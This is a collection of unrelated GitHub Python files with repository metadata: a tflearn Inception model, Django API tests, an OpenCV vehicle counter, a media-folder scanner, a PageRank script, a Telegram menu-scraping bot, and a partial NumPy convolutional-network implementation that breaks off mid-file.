conv_2d(merge, 1792, 1, activation='Linear', name='incption_C_L')\n # inception_c1=tflearn.layers.merge_ops.merge([reduction_B,incption_C1_L],mode='sum')\n inception_c1 = input_data + C_L\n C_out = tf.nn.relu(inception_c1)\n return C_out\ndef inference(input_data,n_classes):\n network = conv_2d(input_data, 32, 3, strides=2, activation='relu', name='conv1_3_3')\n network = conv_2d(network, 32, 3, activation='relu', name='con2_3_3')\n network = conv_2d(network, 64, 3, padding='SAME', activation='relu', name='conv3_3_3')\n pool = max_pool_2d(network, 3, strides=2)\n network = conv_2d(pool, 80, 1, activation='relu', name='conv4_1_1')\n network = conv_2d(network, 192, 3, strides=2, activation='relu', name='conv5_3_3')\n net = conv_2d(network, 256, 3, strides=2, activation='relu', name='conv6_3_3')\n\n for i in range(4):\n net=inception_A(net)\n # reduction_A\n reduction_A_pool = max_pool_2d(net, 3, strides=2, name='reduction_A_pool')\n reduction_A_3_3 = conv_2d(net, 384, 3, strides=2, activation='relu', name='reduction_A_3_3')\n reduction_A_1_1 = conv_2d(net, 192, 1, activation='relu', name='reduction_A_1_1')\n reduction_A_1_1_3_3 = conv_2d(reduction_A_1_1, 192, 3, activation='relu', name='reduction_A_1_1_3_3')\n reduction_A_1_1_3_3_3_3 = conv_2d(reduction_A_1_1_3_3, 256, 3, strides=2, activation='relu',\n name='recduction_A_1_1_3_3_3_3')\n # merge reduction_A\n net = tflearn.layers.merge_ops.merge([reduction_A_pool, reduction_A_3_3, reduction_A_1_1_3_3_3_3],\n mode='concat', axis=3, name='reduction_A')\n\n for i in range(7):\n net = inception_B(net)\n # reducetion_B\n reduction_B_pool = max_pool_2d(net, 3, strides=2, name='reduction_B_pool')\n reduction_B_1_1 = conv_2d(net, 256, 1, activation='relu', name='reduction_B_1_1')\n reduction_B_1_1_3_3 = conv_2d(reduction_B_1_1, 384, 3, strides=2, activation='relu', name='reduction_B_1_1_3_3')\n reduction_B_1_1_2 = conv_2d(net, 256, 1, activation='relu', name='reduction_B_1_1_2')\n reduction_B_1_1_2_3_3 = conv_2d(reduction_B_1_1_2, 256, 3, strides=2, activation='relu',\n name='reduction_B_1_1_2_3_3')\n reduction_B_1_1_3 = conv_2d(net, 256, 1, activation='relu', name='reduction_B_1_1_3')\n reduction_B_1_1_3_3_3 = conv_2d(reduction_B_1_1_3, 256, 3, activation='relu', name='reduction_B_1_1_3_3_3')\n reduction_B_1_1_3_3_3_3 = conv_2d(reduction_B_1_1_3_3_3, 256, 3, strides=2, activation='relu',\n name='reduction_B_1_1_3_3_3_3')\n # merge reduction_B\n net = tflearn.layers.merge_ops.merge(\n [reduction_B_pool, reduction_B_1_1_3_3, reduction_B_1_1_2_3_3, reduction_B_1_1_3_3_3_3], mode='concat',\n axis=3, name='reduction_B')\n for i in range(3):\n net= inception_C(net)\n pool = tflearn.global_avg_pool(net)\n # softmax\n drop= dropout(pool, 0.8)\n soft = fully_connected(drop, n_classes, activation='relu')\n soft=tf.nn.softmax(soft)\n\n return soft\n# 损失函数\ndef loss(logits, label):\n with tf.variable_scope('loss_function') as scope:\n #cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=label,logits=logits)\n #loss = tf.reduce_mean(cross_entropy, name='loss')\n loss = tflearn.objectives.softmax_categorical_crossentropy(logits, label)\n tf.summary.scalar(scope.name + '/loss', loss)\n return loss\n\n #loss = tflearn.objectives.softmax_categorical_crossentropy(logits, label)\n # loss = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=label))\n #return loss\n#优化函数\ndef optimizer(loss,learning_rate):\n with tf.name_scope('optimizer_function'):\n\n op = tf.train.RMSPropOptimizer(learning_rate=learning_rate).minimize(loss)\n return op\n#accuracy\ndef accuracy(predict, label):\n '''\n with tf.name_scope('accuracy_function'):\n correct = tf.equal(tf.argmax(predict, 1), tf.argmax(label, 1))\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n return accuracy\n '''\n with tf.variable_scope('accuracy') as scope:\n correct = tf.equal(tf.argmax(predict, 1), tf.argmax(label, 1))\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n tf.summary.scalar(scope.name + '/accuracy', accuracy)\n return accuracy","repo_name":"lhz123/tensorflow-image_classification","sub_path":"model/model1-inception.py","file_name":"model1-inception.py","file_ext":"py","file_size_in_byte":7123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3690094974","text":"from django.test import TestCase\nfrom django.urls import reverse\nfrom rest_framework.test import APITestCase, APIClient\nfrom rest_framework.views import status\nfrom .models import Hero\nfrom .serializers import HeroSerializer\n\n\nclass HeroListCreateAPIViewTest(APITestCase):\n def setUp(self) -> None:\n self.url = reverse('heroes')\n\n def test_get_heroes(self):\n hero_1 = Hero(name='Superman', alias='Kook')\n hero_2 = Hero(name='Ironman', alias='Haha')\n hero_1.save()\n hero_2.save()\n\n response = self.client.get(self.url)\n response_json = response.json()\n self.assertEquals(response.status_code, status.HTTP_200_OK)\n self.assertEquals(len(response_json), 2)\n\n data = response_json[1]\n self.assertEquals(data['name'], hero_1.name)\n self.assertEquals(data['alias'], hero_1.alias)\n\n def test_post_hero(self):\n self.assertEquals(Hero.objects.count(), 0)\n data = {'name': 'Batman', 'alias': 'Gary'}\n\n response = self.client.post(self.url, data=data, format='json')\n self.assertEquals(response.status_code, status.HTTP_201_CREATED)\n self.assertEquals(Hero.objects.count(), 1)\n\n hero = Hero.objects.first()\n self.assertEquals(hero.name, data['name'])\n self.assertEquals(hero.alias, data['alias'])\n\n\nclass HeroDetailsAPIViewTest(APITestCase):\n def setUp(self) -> None:\n self.hero = Hero(name='Doreamon', alias='Mon')\n self.hero.save()\n self.url = reverse('hero-details', kwargs={'pk': self.hero.id})\n\n def test_get_hero_details(self):\n response = self.client.get(self.url)\n self.assertEquals(response.status_code, status.HTTP_200_OK)\n\n data = response.json()\n self.assertEquals(data['name'], str(self.hero.name))\n self.assertEquals(data['alias'], str(self.hero.alias))\n\n def test_update_hero(self):\n response = self.client.get(self.url)\n self.assertEquals(response.status_code, status.HTTP_200_OK)\n\n data = response.json()\n data['name'] = 'Doreami'\n data['alias'] = 'Mimi'\n response = self.client.put(self.url, data=data, format='json')\n self.assertEquals(response.status_code, status.HTTP_200_OK)\n self.hero.refresh_from_db()\n self.assertEquals(self.hero.name, data['name'])\n self.assertEquals(self.hero.alias, data['alias'])\n\n def test_delete_hero(self):\n self.assertEquals(Hero.objects.count(), 1)\n\n response = self.client.delete(self.url)\n self.assertEquals(response.status_code, status.HTTP_204_NO_CONTENT)\n self.assertEquals(Hero.objects.count(), 0)\n","repo_name":"thulethi/django-apps","sub_path":"mysite/myapi/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1022039932","text":"import sys\nimport time\nimport json\nimport base64\nimport cv2\nimport os\n\nimport numpy as np\n\nprint(cv2.__version__)\n\nfrom vehicle_counter import VehicleCounter\n\nroad = None\n\nframe_count=0\n\nroad_name = \"80_donner_lake\" #to get as input\n\nwith open('settings.json') as f:\n\tdata = json.load(f)\n\n\ttry:\n\t\troad = data[road_name]\n\texcept KeyError:\n\t\traise Exception('Road name not recognized.')\n\nWAIT_TIME = 1\n\n# Colors for drawing on processed frames\nDIVIDER_COLOR = (255, 255, 0)\nBOUNDING_BOX_COLOR = (255, 0, 0)\nCENTROID_COLOR = (0, 0, 255)\n\n# For cropped rectangles\nref_points = []\nref_rects = []\n\ndef nothing(x):\n\tpass\n\ndef click_and_crop (event, x, y, flags, param):\n\tglobal ref_points\n\n\tif event == cv2.EVENT_LBUTTONDOWN:\n\t\tref_points = [(x,y)]\n\n\telif event == cv2.EVENT_LBUTTONUP:\n\t\t(x1, y1), x2, y2 = ref_points[0], x, y\n\n\t\tref_points[0] = ( min(x1,x2), min(y1,y2) )\t\t\n\n\t\tref_points.append ( ( max(x1,x2), max(y1,y2) ) )\n\n\t\tref_rects.append( (ref_points[0], ref_points[1]) )\n\ndef save_cropped():\n global ref_rects, frame_count\n with open(\"flag.txt\", \"r\") as file:\n flag = file.read().strip() # Read the flag from the file\n if flag == \"True\":\n cap=cv2.VideoCapture(\"src-file\")\n elif flag==\"False\":\n cap=cv2.VideoCapture(0)\n\n ret, frame = cap.read()\n\n save_directory = \"saved_images\"\n\n if not os.path.exists(save_directory):\n os.makedirs(save_directory)\n\n frame_count += 1\n image_filename = os.path.join(save_directory, f\"captured_image_{frame_count}.jpg\")\n cv2.imwrite(image_filename, frame)\n\n try:\n with open(image_filename, \"rb\") as img:\n image_b64 = base64.b64encode(img.read()).decode()\n\n try:\n with open(\"settings.json\", \"r\") as ff:\n settings = json.load(ff)\n except (FileNotFoundError, json.JSONDecodeError):\n settings = {}\n\n settings[road_name][\"image\"] = str(image_b64)\n\n with open(\"settings.json\", \"w\") as file:\n json.dump(settings, file, indent=4)\n print(\"Image converted to base64 and stored in settings.json\")\n except FileNotFoundError:\n print(\"Image file not found.\")\n except Exception as e:\n print(\"An error occurred:\", str(e))\n\n with open('settings.json', 'r+') as f:\n a = json.load(f)\n a[road_name]['cropped_rects'] = ref_rects\n f.seek(0)\n json.dump(a, f, indent=4)\n f.truncate()\n\n print('Saved ref_rects to settings.json!')\n\n\ndef load_cropped ():\n\tglobal ref_rects\n\n\tref_rects = road['cropped_rects']\n\n\tprint('Loaded ref_rects from settings.json!')\n\ndef remove_cropped (gray, color):\n\tcropped = gray.copy()\n\tcropped_color = color.copy()\n\n\tfor rect in ref_rects:\n\t\tcropped[ rect[0][1]:rect[1][1], rect[0][0]:rect[1][0] ] = 0\n\t\tcropped_color[ rect[0][1]:rect[1][1], rect[0][0]:rect[1][0] ] = (0,0,0)\n\n\n\treturn cropped, cropped_color\n\ndef filter_mask (mask):\n\tkernel_close = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (20, 20))\n\tkernel_open = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (8, 8))\n\tkernel_dilate = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5, 5))\n\n\topening = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel_open)\n\t\n\tclosing = cv2.morphologyEx(opening, cv2.MORPH_CLOSE, kernel_close)\n\n\tdilation = cv2.dilate(closing, kernel_dilate, iterations = 2)\n\n\treturn dilation\n\ndef get_centroid (x, y, w, h):\n\tx1 = w // 2\n\ty1 = h // 2\n\n\treturn(x+x1, y+y1)\n\ndef detect_vehicles (mask):\n\n\tMIN_CONTOUR_WIDTH = 10\n\tMIN_CONTOUR_HEIGHT = 10\n\n\tcontours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n\tmatches = []\n\n\tfor (i, contour) in enumerate(contours):\n\t\tx, y, w, h = cv2.boundingRect(contour)\n\t\tcontour_valid = (w >= MIN_CONTOUR_WIDTH) and (h >= MIN_CONTOUR_HEIGHT)\n\n\t\tif not contour_valid or not hierarchy[0,i,3] == -1:\n\t\t\tcontinue\n\n\t\tcentroid = get_centroid(x, y, w, h)\n\n\t\tmatches.append( ((x,y,w,h), centroid) )\n\n\treturn matches\n\ndef process_frame(frame_number, frame, bg_subtractor, car_counter):\n\tprocessed = frame.copy()\n\n\tgray = cv2.cvtColor(processed, cv2.COLOR_BGR2GRAY)\n\n\t# remove specified cropped regions\n\tcropped, processed = remove_cropped(gray, processed)\n\n\tif car_counter.is_horizontal:\n\t\tcv2.line(processed, (0, car_counter.divider), (frame.shape[1], car_counter.divider), DIVIDER_COLOR, 1)\n\telse:\n\t\tcv2.line(processed, (car_counter.divider, 0), (car_counter.divider, frame.shape[0]), DIVIDER_COLOR, 1)\n\n\tfg_mask = bg_subtractor.apply(cropped)\n\tfg_mask = filter_mask(fg_mask)\n\n\tmatches = detect_vehicles(fg_mask)\n\n\tfor (i, match) in enumerate(matches):\n\t\tcontour, centroid = match\n\n\t\tx,y,w,h = contour\n\n\t\tcv2.rectangle(processed, (x,y), (x+w-1, y+h-1), BOUNDING_BOX_COLOR, 1)\n\t\tcv2.circle(processed, centroid, 2, CENTROID_COLOR, -1)\n\n\tcar_counter.update_count(matches, frame_number, processed)\n\n\tcv2.imshow('Filtered Mask', fg_mask)\n\n\treturn processed\n\ndef main ():\n bg_subtractor = cv2.createBackgroundSubtractorKNN(detectShadows=True)\n car_counter = None\n \n load_cropped()\n\n cap = cv2.VideoCapture(road['stream_url'])\n #cap=cv2.VideoCapture(0)\n cap.set(cv2.CAP_PROP_BUFFERSIZE, 2)\n\n cv2.namedWindow('Source Image')\n cv2.setMouseCallback('Source Image', click_and_crop)\n\n frame_width = cap.get(cv2.CAP_PROP_FRAME_WIDTH)\n frame_height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\n\n frame_number = -1\n\n while True:\n frame_number += 1\n ret, frame = cap.read()\n\n if not ret:\n print('Frame capture failed, stopping...')\n break\n \n if car_counter is None:\n car_counter = VehicleCounter(frame.shape[:2], road, cap.get(cv2.CAP_PROP_FPS), samples=10)\n\n processed = process_frame(frame_number, frame, bg_subtractor, car_counter)\n\n cv2.imshow('Source Image', frame)\n cv2.imshow('Processed Image', processed)\n\n key = cv2.waitKey(WAIT_TIME)\n\n if key == ord('s'): \n save_cropped()\n elif key == ord('q') or key == 27:\n break\n\n time.sleep( 1.0 / cap.get(cv2.CAP_PROP_FPS) )\n\n\n print('Closing video capture...')\n cap.release()\n cv2.destroyAllWindows()\n print('Done.')\n\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"sanjayyy-22/TRVD","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33829175080","text":"import subprocess\nfrom os import listdir\nfrom os.path import isfile, join, splitext, getmtime, getsize\nfrom datetime import datetime\nfrom update_duration_and_datetime import get_datetime, get_duration\nfrom manage import db, Media\nfrom utils import get_media_type, get_image_metadata, get_media_dimensions\n\ndef fini(aa, db, bb = None):\n list = []\n def traverse_dir(base_path, db, _check_exist_function = None):\n for f in listdir(base_path):\n if _check_exist_function:\n query_existing_video = db.query(Media).filter(Media.filename == f).count()\n if query_existing_video > 0:\n continue\n path = join(base_path, f)\n if isfile(path):\n title, ext = splitext(f)\n if f.lower().endswith(('.mkv', '.mp4', '.jpg', '.jpeg')) and not f.startswith(\"._\"):\n title = \"\".join(title)\n # uri = path[len(mypath):]\n root, ext1 = splitext(path)\n poster_uri = \"\".join(root) + \".jpg\"\n \n # An image could be a poster of a video\n if f.lower().endswith(('.jpg', '.jpeg')) and (isfile(\"\".join(root) + \".mp4\") or isfile(\"\".join(root) + \".mkv\")):\n continue\n\n # Generate thumbnail if necessary\n if not isfile(poster_uri):\n if ext == \".mp4\" or ext == \".mkv\":\n subprocess.run(\n [\"ffmpeg\", \"-i\", path, \"-ss\", \"00:00:01.000\", \"-vframes\", \"1\", poster_uri],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n )\n \n mtimestamp = getmtime(path)\n mdatetime = datetime.fromtimestamp(mtimestamp)\n file_size = getsize(path)\n\n media_type = get_media_type(f)\n\n creation_datetime = None\n if media_type == 1:\n meta_data = get_image_metadata(path)\n creation_datetime = meta_data.get('datetime')\n elif media_type == 2:\n creation_datetime = get_datetime(path)\n \n # print('creation datetime', creation_datetime) \n media_datetime = None\n if creation_datetime:\n if media_type == 1:\n media_datetime = datetime.strptime(creation_datetime, '%Y:%m:%d %H:%M:%S')\n elif media_type == 2:\n media_datetime = datetime.strptime(creation_datetime, '%Y-%m-%dT%H:%M:%S.%fZ')\n else:\n media_datetime = mdatetime\n\n duration = get_duration(path)\n\n media_dimensions = get_media_dimensions(path, media_type)\n width = media_dimensions.get('width')\n height = media_dimensions.get('height')\n \n list.append(dict(\n title=title,\n uri=path,\n poster_uri=poster_uri,\n created_at=mdatetime.isoformat(),\n media_type=media_type,\n size=file_size,\n datetime=media_datetime,\n duration=duration,\n filename=f,\n width=width,\n height=height,\n ))\n\n if _check_exist_function:\n v = Media(\n title=title,\n uri=path,\n poster_uri=poster_uri,\n created_at=mdatetime,\n media_type=media_type,\n size=file_size,\n datetime=media_datetime,\n duration=duration,\n filename=f,\n width=width,\n height=height,\n )\n db.add(v)\n else:\n traverse_dir(path, db, _check_exist_function)\n\n traverse_dir(aa, db, bb)\n\n if bb:\n db.commit()\n \n return list\n","repo_name":"movier/media-center","sub_path":"flask/traverse_dir.py","file_name":"traverse_dir.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31721573600","text":"import sys\nfrom copy import deepcopy\nfrom functools import reduce\nfrom pathlib import Path\nfrom pprint import pprint\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport pandas as pd\n\nfrom week6_pagerank.utils import get_diff\n\nROOT_DIR = Path(__file__).resolve().parent.parent\nDATA_DIR = ROOT_DIR / \"data\"\n\ndef load_edges(which: str):\n return pd.read_csv(DATA_DIR / f\"{which}.csv\", names=[\"from\", \"_1\", \"to\", \"_2\"])[[\"from\", \"to\"]].values.tolist()\n\n\nif __name__ == '__main__':\n dataset = \"dolphins\"\n graph = nx.Graph()\n edges = load_edges(dataset)\n nodes = set(reduce(lambda i, j: i + j, zip(*edges)))\n n_nodes = len(nodes)\n\n initial_rank = 1 / n_nodes\n graph.add_nodes_from(nodes, rank=initial_rank)\n graph.add_edges_from(edges)\n\n ranks = {}\n\n for key, node in graph.nodes(data=True):\n ranks[key] = node.get('rank')\n\n n_iter = 30\n beta = 0.8\n convergence = []\n for _ in range(n_iter):\n prev_ranks = deepcopy(ranks)\n for key, node in graph.nodes(data=True):\n rank_sum = 0.0\n neighbours = graph[key]\n for n in neighbours:\n if ranks[n] is not None:\n outlinks = len(list(graph.neighbors(n)))\n rank_sum += (1 / outlinks) * ranks[n]\n ranks[key] = beta * rank_sum + (1 - beta) * (1 / n_nodes)\n\n convergence.append(get_diff(prev_ranks, ranks))\n\n\n with open(f\"{dataset}-basic-analysis.txt\", 'w') as sys.stdout:\n pprint(ranks)\n\n plt.plot(convergence)\n plt.grid()\n plt.title(\"Convergence of Pagerank without Map-Reduce\")\n plt.xlabel(\"Step\")\n plt.title(\"Score Difference\")\n plt.savefig(f\"./images/{dataset}-conv.png\")\n plt.close()\n\n plt.plot(convergence)\n plt.grid()\n plt.title(\"Convergence of Pagerank without Map-Reduce\")\n plt.xlabel(\"Step\")\n plt.title(\"Score Difference (log)\")\n plt.yscale(\"log\")\n plt.savefig(f\"./images/{dataset}-conv-log.png\")\n plt.close()\n\n\n\n","repo_name":"ArtemisDicoTiar/snu-social-computing","sub_path":"week6_pagerank/pagerank.py","file_name":"pagerank.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2629890723","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport os.path\nimport pickle\nimport datetime\nimport random\n\nclass MenuPlan():\n\n # Dicts of possible argument that the bot shall understand: different restaurants, weekdas and arguments that manipulate the current date\n mensi = {\"zentrum\": \"zentrum-mensa\", \"irchel\": \"mensa-uzh-irchel\", \"binz\": \"mensa-uzh-binzmuehle\"}\n weekdays = {\"montag\":0, \"dienstag\":1, \"mittwoch\":2, \"donnerstag\":3, \"freitag\":4, \"samstag\":5, \"sonntag\":6}\n arguments = {\"vorgestern\":-2, \"gestern\":-1, \"heute\":0, \"hüt\":0, \"morgen\":+1, \"morn\":+1, \"übermorgen\":+2, \"übermorn\":+2}\n\n # Constructor that takes the users response\n def __init__(self, response, caching=True):\n self._caching = caching\n print(\"Request was sent for \"+response)\n response = response.lower().split(\" \")\n # The first part of the response shall be the mensas name\n self._mensa = response[0]\n # If there is a second part, that belongs to the chosen day\n if len(response) >= 2:\n self._day = response[1]\n # There is no second part, so we assume he wants to get information about the current date\n else:\n for day, encoding in self.weekdays.items():\n if encoding == datetime.datetime.today().weekday():\n self._day = day\n\n # Static method that returns a string with all currently supported Mensa, seperated via \"|\"\n @staticmethod\n def getMensi():\n string = \"\"\n for key in MenuPlan.mensi.keys()[:-1]:\n string += key.title() + \" | \"\n return string + MenuPlan.mensi.keys()[-1]\n\n # Implementation of Levenshtein algorithm that computes how many steps (like insert, modify, remove) are needed to\n # come from one String to the other\n @staticmethod\n def levenshtein(string_longer, string_shorter):\n if len(string_longer) < len(string_shorter):\n string_longer, string_shorter = string_shorter, string_longer\n # All possible distances, longest one equals adding every needed character\n distances = range(len(string_longer) + 1)\n for index2, char2 in enumerate(string_shorter):\n newDistances = [index2 + 1]\n for index1, char1 in enumerate(string_longer):\n if char1 == char2:\n newDistances.append(distances[index1])\n else:\n newDistances.append(1 + min((distances[index1], distances[index1 + 1], newDistances[-1])))\n distances = newDistances\n return distances[-1]\n\n\n def get(self):\n # Calculate certainty between two strings\n def certain(shorter, longer, sim, treshold=0.5):\n if len(shorter) > len(longer):\n shorter, longer = longer, shorter\n similarity = ((len(longer) - sim) / len(longer))\n print(\"Similarity between \"+shorter+\" and \"+longer+\" is: \"+str(similarity))\n if similarity < treshold:\n return \"Sorry, aber ech weiss ned was du mer versuechsch z säge \" + u'\\U0001F623'\n\n # Find similarity between user input and all different mensi\n similarities = {}\n for mensa in self.mensi.keys():\n similarities[mensa] = (self.levenshtein(mensa, self._mensa))\n # Assume the one mensa do be chosen with the shortest edit distance\n chosen_mensa = min(similarities, key=similarities.get)\n c = certain(chosen_mensa, self._mensa, min(similarities.values()))\n if c:\n return c\n\n # Do same with the date\n day_similarities = {}\n for day in self.weekdays.keys():\n day_similarities[day] = (self.levenshtein(day, self._day))\n day_certainty = min(day_similarities.values())\n chosen_day = min(day_similarities, key=day_similarities.get)\n\n # Do same with the Arguments\n arg_similarities = {}\n for arg in self.arguments.keys():\n arg_similarities[arg] = (self.levenshtein(arg, self._day))\n arg_certainty = min(arg_similarities.values())\n\n # Get current date time\n date = datetime.datetime.today()\n\n # When the certainty that the second user input was an argument and not a day\n if arg_certainty < day_certainty:\n day_similarities = arg_similarities\n # Compute chosen argument\n chosen_arg = min(arg_similarities, key=arg_similarities.get)\n # add the amount of days to the current date\n date += datetime.timedelta(days=self.arguments[chosen_arg])\n # Get weekday of manipulated date\n chosen_day = date.weekday()\n for day, arg in self.weekdays.items():\n # Find the string belonging to the weekdate\n if chosen_day == arg:\n chosen_day = day\n break\n\n c = certain(chosen_day, self._day, min(day_similarities.values()))\n if c:\n return c\n\n # Print message on server\n print(\"Translating CH into DE making request to \"+chosen_mensa.title()+\" \"+chosen_day.title())\n # Non-supported days (days where no food is provided) return a default string\n if(chosen_day == \"samstag\" or chosen_day == \"sonntag\"):\n return(\"A dem Tag gids leider kei Esse i de \" + chosen_mensa.title() + \" mensa.. \" + u'\\U0001F613')\n\n # Defined file name to not access website for every request\n filename = chosen_mensa.title()+\"/\"+chosen_day+\"_\"+str(datetime.datetime.now())[:10]+\".pkl\"\n\n # When folder for a certain mensa does not exist, create one\n if not os.path.exists(chosen_mensa.title()):\n os.makedirs(chosen_mensa.title())\n\n # Check if a pickle exist where the same information was already requested once today, and reload data from it\n if os.path.exists(filename) and self._caching:\n print(\"Reloading data from cache\")\n return pickle.load(open(filename, \"rb\"))\n\n # Define URL of uzh website that stores the menu plan\n url = \"http://www.mensa.uzh.ch/de/menueplaene/\" + self.mensi[chosen_mensa] + \"/\" + chosen_day + \".html\"\n print(\"Scraping URL: \"+url)\n # Get HTML content and find part of website that contains the menu in div newslist-descrioption\n http = requests.get(url).text\n menuDiv = BeautifulSoup(http, \"html.parser\").find(\"div\", {\"class\": \"newslist-description\"})\n\n # Take the first MENUS number of menus of the list\n MENUS = 3\n # The menu name always is a heading of strength 3\n menuNames = menuDiv.find_all(\"h3\")[:MENUS]\n # while the description is a normal paragraph\n menuDescriptions = menuDiv.find_all(\"p\")[:MENUS]\n # Iterate through all menus and use a regex to get the corresponding parts\n for n in range(MENUS):\n menuNames[n] = re.search(r'

\\s+(.*?)', str(menuNames[n])).group(1)\n menuDescriptions[n] = re.search(r'

\\s+(.*?)

', str(menuDescriptions[n])).group(1)\n\n # Split the created menu descriptions at linebreaks to later assemble it again\n for n in range(len(menuNames)):\n menuDescriptions[n] = menuDescriptions[n].split(\"
\")\n\n # assemble menu description together and add markdown formatting\n def formatMenu(name, ingredients, kind=0):\n string = \"*\" + self.getEmoji(1, kind) + \" \" + name[:-1] + \" \" + self.getEmoji(1, kind) + \"*\\n\"\n for ingredient in ingredients:\n string += ingredient+\"\\n\"\n return string+\"\\n\"\n\n # Add a string message to the user and append the different menu descriptions\n string = \"Menü i de *\"+chosen_mensa.title()+\"* Mensa am *\"+chosen_day.title()+\", \" +date.strftime('%d.%m')+ \"*\\n\\n\"\n for menu in range(MENUS):\n string += formatMenu(menuNames[menu], menuDescriptions[menu], menu)\n\n # Now that we have the data ready to print, save it as a pickle for later usage\n if(self._caching):\n print(\"Saving data to cache\")\n pickle.dump(string, open(filename, \"wb\"))\n return string\n\n @staticmethod\n def getEmoji(number, kind=0):\n if number == 0:\n return \"\"\n PIZZA = u'\\U0001F355'\n BURGER = u'\\U0001F354'\n CHICKEN = u'\\U0001F357'\n MEAT = u'\\U0001F356'\n SHRIMP = u'\\U0001F364'\n SUSHI2 = u'\\U0001F363'\n meat_emojis = [PIZZA, BURGER, CHICKEN, MEAT, SHRIMP, SUSHI2]\n\n PASTA = u'\\U0001F35D'\n RICE = u'\\U0001F359'\n RICESOUP = u'\\U0001F35A'\n RANDOM = u'\\U0001F35B'\n PASTA2 = u'\\U0001F35C'\n BREAD = u'\\U0001F35E'\n TOPF = u'\\U0001F372'\n CORN = u'\\U0001F33D'\n TOMATO = u'\\U0001F345'\n vegi_emojis = [PASTA, RICE, RICESOUP, RANDOM, PASTA2, BREAD, TOPF, CORN, TOMATO]\n\n pasta_emojis = [PASTA, RANDOM, TOPF, PASTA2, PASTA]\n\n MONEY = u'\\U0001F4B0'\n\n if kind == 0:\n return MenuPlan.getEmoji(number-1, kind) + random.choice(meat_emojis)\n if kind == 1:\n return MenuPlan.getEmoji(number-1, kind) + random.choice(vegi_emojis)\n return MenuPlan.getEmoji(number-1, kind) + random.choice(pasta_emojis)\n\n\n\n# Code to test the class, is not executed when bot is started\nif __name__ == \"__main__\":\n menu = MenuPlan(\"benz blabla\", False)\n print(menu.get())","repo_name":"joelbarmettlerUZH/Telegram_FoodBot","sub_path":"Menu.py","file_name":"Menu.py","file_ext":"py","file_size_in_byte":9414,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"4847367945","text":"import numpy as np\nimport TensorsOperations as to\nfrom DenseLayers import *\nfrom PoolingLayers import *\n\n\nclass ConvolutionalInputLayer:\n def __init__(self, in_shape, next_layer=None):\n self.next_layer = next_layer\n self.in_shape = in_shape\n self.out_shape = in_shape\n self.last_outputs = np.array([np.zeros(in_shape)])\n\n def compute_output(self, inputs):\n inputs = to.add_axis(inputs, 1)\n self.last_outputs = inputs\n return inputs\n\n\nclass ConvolutionalLayer():\n def __init__(self, in_shape, kernel_shape, stride, nkernel, activation,\n bias=0, randrange=None, padding=None, prev_layer=None, next_layer=None):\n\n self.prev_layer, self.next_layer = prev_layer, next_layer\n self.in_shape = in_shape if padding is None else [s + 2*padding for s in in_shape]\n self.kernel_shape = kernel_shape\n self.stride = stride\n self.nkernel = nkernel\n self.activation = np.vectorize(activation)\n self.bias = bias\n self.randrange = randrange if randrange is not None else (-.5,.5)\n self.padding = padding\n\n self.out_shape = to.get_out_shape(self.in_shape, kernel_shape, stride)\n self.kernels = np.array([np.random.uniform(self.randrange[0], self.randrange[1], kernel_shape) for _ in range(nkernel)])\n self.ewma = np.zeros(self.kernels.shape)\n\n self.noutputs = self.prev_layer.last_outputs.shape[0] * self.nkernel\n self.errors = np.zeros(np.append(self.noutputs, np.array(self.out_shape)))\n self.last_outputs = np.zeros(self.errors.shape)\n self.act_derivatives = np.zeros(self.errors.shape)\n\n\n def compute_output(self, tensors=None):\n tensors = self.prev_layer.last_outputs if tensors is None else tensors\n for i in range(len(tensors)) :\n if self.padding is not None :\n tensors[i] = np.pad(tensors[i], self.padding, 'constant', constant_values=0)\n for j in range(self.nkernel) :\n output = to.convolution(tensors[i], self.kernels[j], self.stride, self.bias)\n self.last_outputs[i*self.nkernel + j] = self.activation(output)\n self.act_derivatives[i*self.nkernel + j] = self.activation(output, derivative=True)\n\n return self.last_outputs\n\n\n def compute_errors(self):\n if isinstance(self.next_layer, FlattenLayer):\n self.errors = self.next_layer.errors\n return\n if isinstance(self.next_layer, PoolingLayer):\n self.next_layer.compute_pooling_errors()\n return\n for i in range(len(self.errors)) :\n self.errors[i] = np.zeros(self.errors[i].shape)\n for j in range(self.next_layer.nkernel) :\n # Flipping kernel\n flipped_kernel = self.next_layer.kernels[j]\n for axis in range(len(self.next_layer.kernel_shape)):\n flipped_kernel = np.flip(flipped_kernel, axis)\n\n loss_grad = self.next_layer.errors[i*self.next_layer.nkernel + j] \\\n * self.next_layer.act_derivatives[i*self.next_layer.nkernel + j]\n\n # Managing stride\n if self.next_layer.stride != 1 :\n loss_grad = to.dilate(loss_grad, self.next_layer.stride - 1)\n\n self.errors[i] += to.full_convolution(loss_grad, flipped_kernel)\n\n\n def update_weights(self, alfa, beta, gamma):\n for i in range(self.nkernel):\n kernel_update = np.zeros(self.kernel_shape)\n for j in range(len(self.prev_layer.last_outputs)):\n loss_grad = self.errors[j*self.nkernel + i] 